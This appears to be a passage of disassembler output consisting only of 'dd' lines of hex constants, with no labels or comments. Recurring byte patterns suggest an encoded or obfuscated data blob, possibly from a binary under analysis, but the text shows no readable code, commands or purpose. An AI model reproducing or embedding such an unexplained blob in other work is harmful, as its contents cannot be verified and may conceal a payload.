		dd 0D18752EEh, 71B63D4h, 69F2CD74h, 66113B99h, 38DF5215h
		dd 994908ABh, 0E3AB532Bh, 61E025F5h, 668838FCh,	0CB9D7B15h
		dd 64EDA211h, 0A0898FF2h, 8FAE6B90h, 6247D12h, 0CDEAB373h
		dd 669C3D91h, 7883215h,	7BD851Ah, 662ABC1Ah, 69713215h
		dd 66883296h, 642C5315h, 69DB5C1Bh, 66112099h, 6A043D15h
		dd 8F443215h, 66223212h, 206F56B3h, 69A328C0h, 66443A9Fh
		dd 0DB5215h, 0AF82FC94h, 0F3DCD74h, 9F43DB33h, 2BF1B375h
		dd 373E0947h, 6688BB1Ah, 71C3215h, 5C9EB798h, 0EF1E35FCh
		dd 66883210h, 724CE75h,	8FF2CD74h, 66113218h, 6DC4C817h
		dd 0BD6B03FFh, 95D1AFAAh, 8294BB1Ch, 8F8FC302h,	66443207h
		dd 0F9F97DE8h, 741738BDh, 0A6788BE4h, 0D76A89D9h, 0E3E46E81h
		dd 61F8144Ch, 0D9875258h, 2F2C53EEh, 69EA056Ch,	66113A9Fh
		dd 640B3D15h, 6443215h,	0F97CD74h, 8F16DB33h, 66883205h
		dd 40C0B3D5h, 6BE925E5h, 0FC649FA5h, 0DFC8F76Fh, 6645B71Ah
		dd 0EBDB3215h, 8F2B8E90h, 67023D12h, 9F443215h,	6ACBE2EAh
		dd 4C113215h, 0D88199BAh, 88D5469Dh, 0EF015CE0h, 9706DE90h
		dd 0E4875212h, 66443210h, 0FEBB373h, 749B3D68h,	8F883215h
		dd 66443218h, 76F53BC7h, 0D279583Ch, 0D6DF45BCh, 0E38253C2h
		dd 61CB144Ch, 69435258h, 6688329Eh, 91C56915h, 5CDC8AC9h
		dd 2B985A74h, 7461EEE2h, 0A5443215h, 25542479h,	0D9104D4Bh
		dd 58F49636h, 1579F0A3h, 0F97CDC8h, 9316DB33h, 6689B41Ah
		dd 0EBB13215h, 8F188E90h, 661CDB12h, 804C3215h,	8DC40458h
		dd 326517D4h, 99BE1936h, 669ADBC5h, 0F4183215h,	1D762D1Bh
		dd 0E219755Ch, 66567EAAh, 0CD6374A5h, 71CAB79Ch, 76F835E4h
		dd 0F0883215h, 0F1031C2Ch, 202FEBFCh, 0BDB842AFh, 0A07E0534h
		dd 8F626B90h, 69426712h, 6611349Eh, 660C3D15h, 8E443215h
		dd 66223207h, 0FE4EC8D2h, 0DC520651h, 96C9FA89h, 1CDFD421h
		dd 60F87AFBh, 0A4883215h, 0FC1C945Bh, 0E436ADAh, 0FA0A1F22h
		dd 669BDB75h, 6A1A3215h, 0CB067191h, 0CC97B6F4h, 85E42C62h
		dd 0AE5C275Bh, 65A93D2Ch, 0E6113215h, 99E95DE0h, 8F625BA0h
		dd 6AAF3D12h, 8F113215h, 66883212h, 0E7BD8BCDh,	0EBED1996h
		dd 8F2B8E90h, 668EDB12h, 5B0D3215h, 9A3216DDh, 0EFE8E2EAh
		dd 979FC290h, 664ADB12h, 0C9F3215h, 226C9831h, 9957EB6Eh
		dd 8B1983FCh, 407BB7D3h, 8F5235FCh, 6688321Ah, 30C9F80h
		dd 9FDB33A4h, 8B6E2854h, 68BC2E7h, 0E701F695h, 714343DAh
		dd 4C795361h, 8F5AE7E5h, 6644321Bh, 1181B873h, 0E37C8934h
		dd 0BC59D3C5h, 0D3BBCA20h, 61CB147Ch, 661ADA75h, 2ABD3215h
		dd 0B49CE759h, 808F61ACh, 0A3E6B311h, 38C4B2A8h, 664FDB75h
		dd 0AEF23215h, 3F163D74h, 1BA36B84h, 0A1FB3D8Eh, 0E3AF5374h
		dd 61F808A9h, 0AD095475h, 0FEF14D60h, 8FF2CD74h, 66113213h
		dd 0BB02927Fh, 0ED2440DCh, 0EF43CED6h, 9706C690h, 77615212h
		dd 59443215h, 492ACAE3h, 543A1A3Dh, 38A59FADh, 486A9CB4h
		dd 717D895h, 3F94F4ECh,	348FDB33h, 39C78D75h, 0DE4449C6h
		dd 0E70DAAAh, 9BCA86FFh, 6667B81Ah, 8F423215h, 66113212h
		dd 0A85EFC10h, 8F339E34h, 66223205h, 0A1DF169Bh, 0C57B7F30h
		dd 7E08137Bh, 6647136Ch, 0FA4CD74h, 68FDB33h, 74AD64E9h
		dd 0EB223215h, 58E89ED6h, 0F57EEA3Ch, 56529C8Ch, 3815AB7Fh
		dd 0EB706DDEh, 8FB28E90h, 0B6BBC712h, 1FA7BBECh, 616DB0Eh
		dd 668ABC1Ah, 0A8CF3215h, 0A043C29Eh, 8F376B90h, 0E747512h
		dd 84DC6B8Ch, 66223FFCh, 3ABB4F15h, 9391C8A4h, 0B99BCB2Ah
		dd 0D3DD75B0h, 61F8147Ch, 0DA0DBFEDh, 9343DB2Fh, 42E2EAh
		dd 8F71EC9Eh, 6688321Eh, 0E26EE851h, 313755C4h,	0D9F0656Bh
		dd 57704023h, 245374h, 79838AAh, 71E9B79Ch, 0A07435E4h
		dd 8F626B90h, 0EDE7512h, 0D7EC52D7h, 0F3DCDE0h,	6943DB33h
		dd 66222593h, 6CF85215h, 0B8883215h, 5C46DA2Ah,	2A95C293h
		dd 669A3DC3h, 7883215h,	5CF8B798h, 694235FCh, 66112296h
		dd 6683DB15h, 15CB3215h, 5F7F1782h, 943B524Eh, 0B6775362h
		dd 6648B01Ah, 0E12D3215h, 66113213h, 6688BD1Ah,	0E3CD3215h
		dd 61D325E9h, 66113EFCh, 1BDCFB15h, 1CBF034Bh, 0D78F8669h
		dd 3F94F4CCh, 218FDB33h, 98505AEDh, 6942EDB3h, 6611309Ch
		dd 42B915h, 5C3CF194h, 0F97CD74h, 6916DB33h, 66882591h
		dd 6656DB15h, 0B3F93215h, 0B236DB48h, 0FCA7F888h, 47A5B219h
		dd 26F0FB68h, 0DA94BFE9h, 8F8FDB2Fh, 66443204h,	0CA715034h
		dd 3A1C0DBCh, 0B9F63DF7h, 0CB85111Fh, 69F2CDE9h, 66113C94h
		dd 96095215h, 6937E5B6h, 6622B11Ah, 0EF703215h,	97903290h
		dd 0E04B5212h, 66223210h, 31D9B373h, 71093D20h,	8F443215h
		dd 66223207h, 41651445h, 0E674DF2Ch, 0FA7CFF64h, 7D9C28D3h
		dd 0A0706DD3h, 8FAE6B90h, 69B86D12h, 66223E9Ah,	60933D15h
		dd 69883215h, 66443291h, 944A5A15h, 71AC45h, 8B90E994h
		dd 56FE8D73h, 0D3DDC774h, 61F8147Ch, 0DA0DBFE9h, 6943DB2Fh
		dd 66222196h, 661FDB15h, 0DDCB3215h, 4330DE02h,	321F0F89h
		dd 67A1D54h, 0E887E2EAh, 66443219h, 6624B61Ah, 0E91E3215h
		dd 66883215h, 6648B41Ah, 0E22D3215h, 66113213h,	6688B41Ah
		dd 0E3CD3215h, 61D32A11h, 6610B11Ah, 67D3215h, 664426FCh
		dd 0D65B6B15h, 1280C8ECh, 0C785105Dh, 55246816h, 44AC532Ch
		dd 0E3D753B6h, 6161144Ch, 592CC75Ah, 69E5CE6Eh,	66113E95h
		dd 0DCEE5215h, 0E24B396Ch, 66223215h, 0FA4CD74h, 68FDB33h
		dd 0EB2517A2h, 8F188E90h, 6603DB12h, 0D2363215h, 73CCA7C2h
		dd 4D4DC027h, 0F2954DAEh, 57AB0834h, 0E34BE2EAh, 66223213h
		dd 64F6475h, 0E3015374h, 61B52A25h, 0ACF8C75h, 0E77774AEh
		dd 7501CC5h, 401DB7D3h,	66535FCh, 66113FFDh, 0AD1FA15h
		dd 81472E71h, 6401EFC1h, 7713CE6h, 0B909614Eh, 7DBD2AE2h
		dd 2A4A534Eh, 8FEB697Bh, 6688321Eh, 9B847544h, 2B6494B1h
		dd 697BE703h, 66882A90h, 74C13D15h, 8F223215h, 66113218h
		dd 8EBDF8F6h, 66CADDCDh, 0F5416795h, 0FA4CDC1h,	8F8FDB33h
		dd 66443205h, 5D83114h,	66C10C1Bh, 8C944FA7h, 95ED2A89h
		dd 5C9EB798h, 0EF1E35FCh, 66883207h, 6643DA75h,	0C8943215h
		dd 94D86F60h, 0D1876B41h, 0B6BB53C5h, 60CB5275h, 0EE113215h
		dd 5D08D434h, 71C6198h
		dd 3DDFB845h, 5294BB74h, 8F8FC30Dh, 66443206h, 0C0A3E025h
		dd 76D3C98Ch, 0F74AB03Fh, 0A327F5B9h, 664E08Ah,	0B6905475h
		dd 0D987318Eh, 0E44B53EEh, 66223211h, 901A8A73h, 3F0DF474h
		dd 2143DB33h, 42EF5AE9h, 99E4F113h, 8FAE5BA0h, 0E34BC712h
		dd 66223219h, 0C718875h, 0AC30762Fh, 708E13Ch, 5C9EB798h
		dd 60F835FCh, 0EB883215h, 0A44ECE7Ah, 8FF2CDDCh, 66113212h
		dd 4ACE65F8h, 0EF267E56h, 973A0A90h, 0E21E5212h, 66883217h
		dd 63ACC4A7h, 7E223215h, 902EBEE8h, 668822FCh, 59123C15h
		dd 1785A45h, 0EAC36FC1h, 2894339Fh, 0A0256D8Dh,	8F046B90h
		dd 0EE86D12h, 0B23352D9h, 6994B975h, 9943F1A2h,	8F375BA0h
		dd 6B083D12h, 8F443215h, 6622321Dh, 59CA9DCFh, 0AF15BF5Ah
		dd 5CF8B798h, 99DB35FCh, 0E51ECEC5h, 66883207h,	8F255275h
		dd 6622321Ch, 0D416105Fh, 0C745625Fh, 0E3CD5356h, 61D32A1Dh
		dd 6619BD1Ah, 0E4873215h, 66443217h, 0E3E45375h, 61F8144Ch
		dd 6681DB4Ah, 0D0453215h, 58B737A6h, 0E790338h,	0F861665Bh
		dd 0FF1CDE9h, 9E25DB33h, 5CADB798h, 0EB8735FCh,	6644320Fh
		dd 6636BC1Ah, 69F83215h, 67883215h, 8519E5B9h, 0EF1CD5Ch
		dd 7712F492h, 0B6772504h, 664DDBE0h, 0BD573215h, 5AD58CB8h
		dd 0EF66D3E2h, 975C3E90h, 662CDB12h, 60A23215h,	4F455A7Ch
		dd 529FA418h, 0DB284BB6h, 4048B7D3h, 8FD735FCh,	6644321Ah
		dd 863D08A0h, 4F832B44h, 92513C91h, 9E12B7D6h, 750A7A7Dh
		dd 661CDBC4h, 0A9CE3215h, 0A8F89ECDh, 0D7362C3Ah, 994FDB17h
		dd 8FAE5BA0h, 6655DB12h, 8AAE3215h, 0A167808Eh,	0B2A756C8h
		dd 0A04B08D0h, 0EB42B6CEh, 8F2B8E90h, 0B677CA12h, 364C8675h
		dd 662235FCh, 3E47B315h, 0A73C72FFh, 0E3CD534Bh, 61D32A05h
		dd 661DB31Ah, 61613215h, 0B3443215h, 0F478776Bh, 627B5D39h
		dd 76885AECh, 0E74B3215h, 66223214h, 76115AEDh,	69E83215h
		dd 66443D97h, 6628DB15h, 3AE13215h, 0C199B3E2h,	0BDF50D68h
		dd 0C43E29Fh, 99705215h, 8FA34F80h, 0E3CDCE12h,	61CB06ECh
		dd 0F494BFEDh, 9A8FC2B3h, 0CBDE2EAh, 6EA63D11h,	6113215h
		dd 0B6A80AAFh, 6925C717h, 66223994h, 6617DB15h,	0B9B83215h
		dd 71B1D399h, 6632327Dh, 61923D15h, 6883215h, 37838D1Ah
		dd 664A534Fh, 69113235h, 6688389Ch, 6641DB15h, 0A4F3215h
		dd 0C24AB0Dh, 7C0F3D15h, 6443215h, 6622BB1Ah, 6BF83215h
		dd 94883215h, 56DC09D8h, 50FE1D09h, 6A232544h, 1B1DCD74h
		dd 643DB3Eh, 93F18D1Ah,	6605DB74h, 556C3215h, 705057E8h
		dd 5C6EE91Bh, 9CB49A35h, 0E9E458A0h, 0E3CDF69Ch, 61CB1408h
		dd 66113EFCh, 67537B15h, 0E0AB32D6h, 0C6EFDB86h, 0E794BB82h
		dd 698FDB0Fh, 66443F93h, 662ADB15h, 139D3215h, 68ACFC16h
		dd 692415ACh, 6622319Ah, 0BC9A5415h, 38D66143h,	8F045874h
		dd 66223213h, 954028EEh, 66E0D992h, 8F443205h, 66223206h
		dd 0F08FF1E2h, 8007F163h, 0F91F3C83h, 98930A3Dh, 0E63B8CAh
		dd 66893215h, 6650DA75h, 8D223215h, 9BC32654h, 1EAC821Bh
		dd 0AAD32651h, 0E3157455h, 0EA1E2447h, 66883215h, 73C53D4Bh
		dd 8F223215h, 66113205h, 0F9CF54E9h, 13D9D371h,	6D27731Fh
		dd 0AE942778h, 69885874h, 66442291h, 6CAC3D15h,	8F113215h
		dd 66883210h, 94DB9732h, 1BB7CD4Fh, 9E16DB3Eh, 6FA1B79Ch
		dd 0ED2435FCh, 1FCCB3C5h, 75FA1EEh, 4B59879Eh, 0E74B35FCh
		dd 6622320Ah, 6608B31Ah, 72613215h, 0DB443215h,	81316065h
		dd 0C0D732B1h, 0E883A255h, 4383FC31h, 8F81C158h, 66113205h
		dd 3902984Eh, 0EDD6617Dh, 83F3A044h, 345359B4h,	6C61AF9Eh
		dd 0EC4B35FCh, 66223218h, 0A4905475h, 0E58731AFh, 66443215h
		dd 9397BB74h, 616DB37h,	0F9F78873h, 0EFFF5475h,	0A2258B18h
		dd 77031A0h, 706DAF9Ch,	0E44B35FCh, 66223203h, 661123FCh
		dd 36A9B815h, 0B4BDAA0Fh, 0D1B126C5h, 710495ECh, 0FB03C7C3h
		dd 61AD38FCh, 0E744C775h, 72CB7D6h, 66888847h, 0BC453215h
		dd 72A9389Eh, 62D5B331h, 8F883215h, 6644321Fh, 817AFB46h
		dd 6E5C4A86h, 0E570A2FFh, 0E24B32ECh, 66220B60h, 6619B91Ah
		dd 0E0873215h, 66443217h, 0F4A5375h, 0EF11327Fh, 0ED871611h
		dd 66443214h, 62CEB1E9h, 69353E9Ch, 66883F96h, 90C55215h
		dd 12DEDA15h, 0A3B3BACh, 69E85365h, 66443E90h, 60AA3D15h
		dd 69113215h, 6688329Ch, 8F840315h, 66223205h, 4E81F546h
		dd 83197FB6h, 66C3B074h, 8C22EA96h, 688CB79Ch, 377435FCh
		dd 0CD2C33ACh, 0FE198C45h, 0A0909D41h, 94B04E0h, 88C5FC14h
		dd 9E104E0h, 6619DB4Ch,	11E03215h, 684E12D9h, 0A0A32E92h
		dd 78FA6F33h, 46AC4616h, 7C008946h, 8DA35B59h, 2C718F0Bh
		dd 8FD3EC3Ch, 66443213h, 2F6E12ABh, 0CB77E6E7h,	0E742B975h
		dd 6DF6B1D2h, 0DF735312h, 10327EFDh, 65D1FA3Ch,	63641651h
		dd 10017EFDh, 6614BD1Ah, 9FE83215h, 99255375h, 62A34A65h
		dd 3E221A31h, 42BCB947h, 0E740F696h, 3E111AFBh,	405247h
		dd 0DCD2FA9Eh, 5ACF4B88h, 0C39B6374h, 0E705DE67h, 1DC9DFD4h
		dd 87857B3Fh, 0ABE3B312h, 913DD770h, 0ED49B3C4h, 67157DA9h
		dd 12216BDBh, 88901231h, 16183C28h, 72C93DE9h, 6223215h
		dd 66113AFDh, 895C9B15h, 3B01E11Fh, 0DC446C8Ch,	99707E1Bh
		dd 69D72A63h, 66443393h, 0DBABCA15h, 61F82414h,	7F063D75h
		dd 8F443215h, 66223201h, 0D103F691h, 7E2BB7EBh,	710292C3h
		dd 0EAFD02C4h, 0D006C7F4h, 9862B373h, 99C1534Eh, 666AB71Ah
		dd 0EC1E3215h, 66883214h, 8EC552EDh, 1C148CB9h,	3E705242h
		dd 4EDDA74h, 0E84B3215h, 6622321Eh, 661134FCh, 0D50AA715h
		dd 9F682184h, 6627E2FCh, 6605DB15h, 89323215h, 4B442305h
		dd 0AC1C9A06h, 0B0AD6617h, 0D734269h, 0EF130439h, 62E5B3F2h
		dd 0E5113215h, 5A0F36FAh, 6ACD6E31h, 662CDB31h,	0AD543215h
		dd 0F554484Eh, 2EDB10Ah, 1BFB0B6Eh, 0FAA96242h,	4FBCE92Eh
		dd 3E401651h, 0FAE0B34Fh, 6925E92Eh, 6688269Dh,	664BDB15h
		dd 2C4C3215h, 3BDAF511h, 0C4DF5BDAh, 2974D374h,	62F059E1h
		dd 6617DB75h, 0A7843215h, 425885D5h, 4BB7BB74h,	8F16DB21h
		dd 6688321Ah, 97624537h, 8C23E270h, 52928EDAh, 0CA1519Eh
		dd 72C03D11h, 8F223215h, 6611321Ah, 66E447F2h, 1EABE02Bh
		dd 7990487Ch, 0E32D0FDh, 66882215h, 664DDB75h, 4D103215h
		dd 0B4516A09h, 8E4CBD64h, 6644321Dh, 0B5DA05F6h, 34EBC2A6h
		dd 66883BFCh, 3F594615h, 0E68DCBFAh, 74B3B7Fh, 66F6817Dh
		dd 4250BB15h, 6623B11Ah, 0CE83215h, 669BDB15h, 5D753215h
		dd 43155439h, 13C3E28h,	478267B4h, 12B47FC5h, 0F3DDCB0Ch
		dd 61F81968h, 668EDB75h, 0BF803215h, 54ECDB87h,	0BDC78A73h
		dd 4B0DBB74h, 6943DB06h, 6622359Bh, 679A3D15h, 93883215h
		dd 0EF83BB42h, 421EB9EFh, 9F15F696h, 31AC3E9Eh,	0A1C5D59Ch
		dd 66223211h, 6615F594h, 5A0F3215h, 68AD6E31h, 0B2223215h
		dd 23C238FAh, 8388AB48h, 7AD2E6BFh, 379352C0h, 6C8DA74h
		dd 8FE83215h, 66443206h, 70F8DA72h, 0AF52851h, 0D9FBA554h
		dd 2392D5B0h, 72DDA37h,	66113AFCh, 2FFF8915h, 0C1D020EEh
		dd 80AB6453h, 6615F494h, 880B3215h, 4270B511h, 4216BB49h
		dd 0E11E9FE9h, 6688320Ch, 664426FCh, 0AC675C15h, 8A347672h
		dd 304E0277h, 677EBD52h
		dd 0D641B639h, 4F583736h, 228B0768h, 0DD171631h, 535F1B5Ch
		dd 64AEA3Ch, 0EC874DA7h, 66443203h, 662223FCh, 0F1D8DA15h
		dd 82DDB13Eh, 0A9D7BE04h, 0DE902F5Ah, 3670C938h, 0EF8CDE96h
		dd 391C1629h, 72CBCE75h, 0ED113215h, 0F0B240C9h, 8703DA3Fh
		dd 0E1D4568Bh, 0CEDCD3E1h, 748993Dh, 0EF40DE96h, 8F791629h
		dd 6611321Fh, 0BB21988Dh, 0EB37DFB3h, 0EF73FE6Ch, 62D0B3F4h
		dd 0E7883215h, 664436FCh, 422EB515h, 422DBB49h,	6680BB1Ah
		dd 243215h, 4984EC94h, 0E21E53ECh, 66883202h, 6648DA75h
		dd 58D23215h, 0A5459557h, 74180330h, 1FD9FEh, 5643CB9Eh
		dd 6619DBD5h, 43CB3215h, 0F8F7F3A4h, 138CAE93h,	6D983DE8h
		dd 6883215h, 2930D094h,	0A5A2192Ah, 93715347h, 668ABC1Ah
		dd 9DCF3215h, 4216B974h, 0E7F0BB44h, 668836D4h,	6285B115h
		dd 3A063E92h, 66113FFCh, 88FDAB15h, 21E4D44h, 8BC1D3E7h
		dd 0DD42DCDBh, 4ADF6E4Ah, 4F1FED3Ch, 39E5B3CAh,	9E3D6549h
		dd 0EF8CDE96h, 0E84B1601h, 66223205h, 6619DB75h, 0EF7B3215h
		dd 0D9626F55h, 7DBA52Bh, 659F3D75h, 883215h, 0E722F59Eh
		dd 792F0D5h, 0A0AF6442h, 6792BF3Fh, 38401661h, 0A0C8B34Fh
		dd 690BBF3Fh, 66883396h, 0DBCFC715h, 61CB06ECh,	661FB91Ah
		dd 69E83215h, 6644329Ah, 66AF3D15h, 7113215h, 9977CDACh
		dd 70C43DEAh, 8F223215h, 66113204h, 51D74D29h, 0D8EDDFC1h
		dd 561E33Dh, 0A8299D34h, 6480386h, 6642B51Ah, 0E72D3215h
		dd 66113215h, 668CB31Ah, 0DE223215h, 3543EEEAh,	661132AEh
		dd 0EC7B3315h, 4258B916h, 9F26F696h, 69D902E9h,	66883591h
		dd 67CD3D15h, 9E223215h, 70498F40h, 930949CCh, 1D9D244Ch
		dd 67FDC14h, 669D3D75h,	8F883215h, 66443210h, 4A5B1F23h
		dd 99705309h, 6203B521h, 6280B331h, 69223215h, 66113A95h
		dd 64073D15h, 6443215h,	6ECBF374h, 6606B01Ah, 0E3873215h
		dd 66443204h, 66223EFCh, 16D19615h, 0E5F5516Ah,	660C2052h
		dd 9FE303EFh, 38943D5Fh, 8F77CDEAh, 66443207h, 95B427D1h
		dd 92A76AD7h, 0A1344153h, 23B7DD66h, 0EF758CA8h, 0EDE9BBDAh
		dd 0A2091629h, 66443211h, 6633DB75h, 0A3AF3215h, 57F9CE59h
		dd 7130E491h, 0D9D8150Ah, 31928BB7h, 6688BD1Ah,	71F3215h
		dd 662237FCh, 817B4C15h, 0E11A33C0h, 0E195C5DFh, 42A0DFh
		dd 5BFBFA94h, 720353E9h, 80CD6431h, 6626F494h, 0A0903215h
		dd 66883211h, 3A600692h, 669961ECh, 67113215h, 520962C6h
		dd 59201F31h, 0E721BD00h, 59751F26h, 69E86900h,	66443490h
		dd 0A3FCB315h, 690FF566h, 66883194h, 9FCF5415h,	62996174h
		dd 67113215h, 4294B9CFh, 8F40F696h, 66223201h, 3D507ABCh
		dd 0BA00A4BDh, 4135C8CCh, 54BE56F9h, 0FC8BFC6h,	66CA7A7Dh
		dd 4250BB15h, 66223BFCh, 27CBF715h, 0C65B45E0h,	0E3BBF448h
		dd 61CB3C88h, 59AB5475h, 74BB98Eh, 68D9A79Eh, 69CB35FCh
		dd 1113215h, 8F28ED21h,	0E2D00B19h, 1CFEA19Eh, 0F32864A2h
		dd 61612414h, 663AB61Ah, 69423215h, 0A790F5A2h,	4917DE89h
		dd 4270CD74h, 62E6B34Fh, 69113215h, 6688379Ch, 31BC5215h
		dd 52A9534Ch, 85986131h, 668CF194h, 0A5C73215h,	423EB511h
		dd 75953D49h, 6883215h,	664435FDh, 0C8C30515h, 3454747Bh
		dd 0BD32544Bh, 0DB115338h, 66223211h, 4A9ADC14h, 624CB331h
		dd 6443215h, 590894AAh,	70F85328h, 677CDE9h, 0EF4BFA9Eh
		dd 66223214h, 63F853E0h, 38883215h, 4B36F39Bh, 3C0606EAh
		dd 6915F696h, 66882196h, 664ADB15h, 65043215h, 0DF2B65A4h
		dd 0BEF811BEh, 6D7CD072h, 380606EAh, 6915F696h,	66883A9Ah
		dd 64C13D15h, 6223215h,	60F85374h, 5C883215h, 507ACEF6h
		dd 4216CDA6h, 62D5B34Ch, 93883215h, 664435FCh, 5E13EF15h
		dd 9F2F7BE5h, 3EAC06EAh, 6640F694h, 0E42D3215h,	66113217h
		dd 0E34F5375h, 61AD3D4Ch, 66223215h, 6619B31Ah,	0EA873215h
		dd 66443217h, 0E3E55375h, 61F802D0h, 66883215h,	1EF9B1E9h
		dd 6625C302h, 6604B61Ah, 0D9E83215h, 5FE86F5Ah,	554D8973h
		dd 0A78CBF74h, 938FDDC3h, 99B8E1EAh, 8F3F3B90h,	7D9B3D12h
		dd 6883215h, 74AD6C46h,	3223215h, 0C20CD3F1h, 0ADCFE0D3h
		dd 9F3D32C8h, 0BB2719D4h, 0E61E533Fh, 6688320Ch, 6657BA1Ah
		dd 68CB3215h, 3E113215h, 32A2B8B2h, 6163D0D1h, 3BE1BE74h
		dd 6FACB162h, 28FDB08h,	64FCB01Ah, 6FCB3215h, 0F8113215h
		dd 0D7006354h, 91DFBD3Bh, 7B2BB7D2h, 661035FCh,	9AE83215h
		dd 6252BA5h, 55A7BFECh,	9A16C2B8h, 0E187E2EAh, 66443205h
		dd 6628BF1Ah, 63F83215h, 0A5883215h, 12937FD4h,	7E6A8798h
		dd 0ED1E35E4h, 6688321Ch, 49FA5475h, 0A4953D81h, 9CACBF74h
		dd 8F8FC3B3h, 6644321Dh, 6168B13Fh, 6FBA9D3Fh, 6B9BF594h
		dd 89C51513h, 146D566Fh, 0A190C53Ch, 14C7566Fh,	6B57DD94h
		dd 0E12D1513h, 66113219h, 668EB21Ah, 0E04B3215h, 66223215h
		dd 0EFEFBB43h, 42BCB9E7h, 8F40F696h, 6622321Ch,	0CA50E153h
		dd 6E30D502h, 9FF9B97Ah, 625DB21h, 661138FCh, 1F6B7F15h
		dd 6408D1DFh, 3D8CA3h, 0DF70F49Eh, 9977CDEAh, 698403E0h
		dd 66223397h, 0DF40CB15h, 66883215h, 67CEC314h,	0E5063E9Eh
		dd 6EF836D1h, 0B1883215h, 75A8D68Fh, 56FF4E0Ch,	6614DBDDh
		dd 0E4703215h, 8F6E306Dh, 66223213h, 86EC566Eh,	0DDDB965Ah
		dd 69F8759Bh, 0A5A3E1E2h, 69AD759Bh, 8FD3EC3Ch,	66443218h
		dd 0C8373E10h, 0DB95240Fh, 1A902BB2h, 0B7CF52C7h, 662221FCh
		dd 9DA3EC15h, 5505E38h,	0F4C28EB1h, 7DC9D0B5h, 9B143968h
		dd 0E1BCCD74h, 0E560369Eh, 0A7D736D1h, 57E93AFCh, 69C2CED4h
		dd 99BB5E90h, 662CDBEAh, 9C53215h, 41DA6EC8h, 1FE99E22h
		dd 17675DB9h, 661CB21Ah, 6E613215h, 68443215h, 6749ACEBh
		dd 314885E6h, 0EF43BB46h, 9ECD69CAh, 0D92D524Ah, 66943DDAh
		dd 7883215h, 6654B17Dh,	4226BB15h, 3E3526E2h, 68053D75h
		dd 8E443215h, 6622321Dh, 0B73FA95Dh, 5855837Ch,	6648DB4Ch
		dd 49513215h, 595A6A38h, 80123BEAh, 6254F5Eh, 662234FCh
		dd 66D83915h, 69C9CAA0h, 66443094h, 77A6415h, 47FCB72Ch
		dd 0E28735FCh, 664432DDh, 662234FCh, 0C231D415h, 30441F4Eh
		dd 746C8946h, 0E7614591h, 0E50323F6h, 276BB349h, 912E071Eh
		dd 0F6D1B3CEh, 0EF82A4E1h, 0B87F69CBh, 1278DC94h, 80A3447Ch
		dd 55830BDAh, 0E78AD4D4h, 9332A0E3h, 0E0CCB366h, 0EF26C762h
		dd 6E616CE5h, 5F443215h, 13D0A244h, 697A509Ch, 66882694h
		dd 664BDB15h, 213A3215h, 92C472C4h, 1A149C2Ah, 5C566B63h
		dd 69E239A3h, 66112D90h, 6E615215h, 0B8443215h,	7FBBD648h
		dd 0D8BBB1DFh, 14D6AD4Bh, 87C1F574h, 6725DB09h,	9E113215h
		dd 0EBC8D42h, 0E70B0213h, 0F80E65DAh, 9AF6B31Ch, 91D66237h
		dd 48FD63CAh, 673A736Fh, 9F106BDAh, 6682DB4Ah, 7B643215h
		dd 0CAAB9578h, 66A0500Ah, 0D9DFCA74h, 489879B5h, 5AA9CB9Ch
		dd 62D5B331h, 6883215h,	72D8D73h, 662226FCh, 61D84A15h
		dd 0C43D90B6h, 0D42DD292h, 0C43A3D39h, 0B7D64899h, 0EDE53D5h
		dd 19D928E4h, 0E706069Eh, 661136D1h, 234EB315h,	0EF986D01h
		dd 0CBDE6CE7h, 93A4BBE0h, 8F8FDB37h, 66443201h,	192281F6h
		dd 1EAC3566h, 3E218DD2h, 0D5FBA352h, 33C8B5A9h,	42E8B44h
		dd 0B77F5558h, 0B7FC6254h
		dd 430BD44Bh, 584D0D35h, 8F7F310h, 3E851B65h, 3FDE7C9Ch
		dd 661121FCh, 2B91D015h, 8D7AF0Ah, 764A6404h, 0DBAAE3E5h
		dd 3D9A1211h, 88AADC28h, 0C4A73DFBh, 9F113215h,	0BB550C94h
		dd 0E34BEFC8h, 66223280h, 97AE3D75h, 668838FCh,	0A1E64715h
		dd 3CEF195Ch, 71C621Fh,	0DEE06347h, 3F7F9722h, 0B7D5EBE2h
		dd 3680DB94h, 0A70938C0h, 0A9742ACFh, 677BF89Ch, 6613F5E7h
		dd 3C883215h, 6642BF1Ah, 0D0423215h, 7D7B9A7h, 668CDE94h
		dd 72CD3215h, 66268831h, 0B0103215h, 0EDEE524Fh, 0D3CD53D7h
		dd 61CB10E0h, 28DAB375h, 8F87492Ah, 6644321Ch, 944809D2h
		dd 0F35A6CA2h, 0A26153B1h, 8F44323Eh, 6622321Fh, 0DAA989C3h
		dd 0FAB780CFh, 0D1ADB84Ah, 6DDCDEBh, 0AE9A4AA2h, 6264B174h
		dd 3D60369Ch, 87A701E0h, 6916DB09h, 66883396h, 0AE85CE15h
		dd 6625DB16h, 0AA763215h, 1D4580A5h, 68C23D35h,	8F223215h
		dd 6611321Ch, 0B5D4DEAAh, 0CCA8BA2h, 69F67C2h, 6762E151h
		dd 0B6A16FFDh, 0B5005238h, 0A6E3CB66h, 0B69A5205h, 7356B373h
		dd 0AE755394h, 6624B71Ah, 0E6713215h, 770BCCCh,	7AA5AF9Ch
		dd 69CB35FCh, 0F3113215h, 3E07E768h, 0EDE2E1A8h, 16BA49B0h
		dd 662CE0B2h, 69883315h, 6645A096h, 662DDB15h, 9DE13215h
		dd 0CE9740FEh, 0F561679Fh, 0E595FFA3h, 0E31E5254h, 66883215h
		dd 6644BD1Ah, 0E7433215h, 0DDAA892Bh, 20D3DAEh,	69443214h
		dd 66223395h, 8A90C715h, 66883211h, 0DF603E9Ch,	66223215h
		dd 67D6C314h, 66883215h, 0D14B524Ch, 3343CBDCh,	661136A8h
		dd 0A94EB315h, 6764635Fh, 0A9CCB3FBh, 3B31635Fh, 933DBBE9h
		dd 643DB37h, 8FDBB973h,	66113219h, 0A7DDBCBFh, 0E6AF83FAh
		dd 41AFBB43h, 8F8CB974h, 698FDB1Fh, 6644359Eh, 67A53D15h
		dd 9F113215h, 6A0301EAh, 6280B331h, 69223215h, 66113395h
		dd 0EFD9CA15h, 3F1E63D4h, 66223EFCh, 43D26615h,	8D9AA224h
		dd 0AD9670FEh, 0E62D526Bh, 6611320Eh, 6699DA75h, 522A3215h
		dd 0FF548EE1h, 877E5AFEh, 0DAA6BE23h, 3C068965h, 0E5436A46h
		dd 729836F9h, 69E86A31h, 66443099h, 31435215h, 661121FCh
		dd 5D534915h, 9A0BFA0Bh, 0C9B59F7Fh, 723C814Bh,	5469A10Bh
		dd 0E04B534Fh, 66223214h, 979419EDh, 938FDB3Ch,	8F46D2D4h
		dd 66223219h, 3B07370Fh, 0F567A1B9h, 0FEA92FB5h, 5267B716h
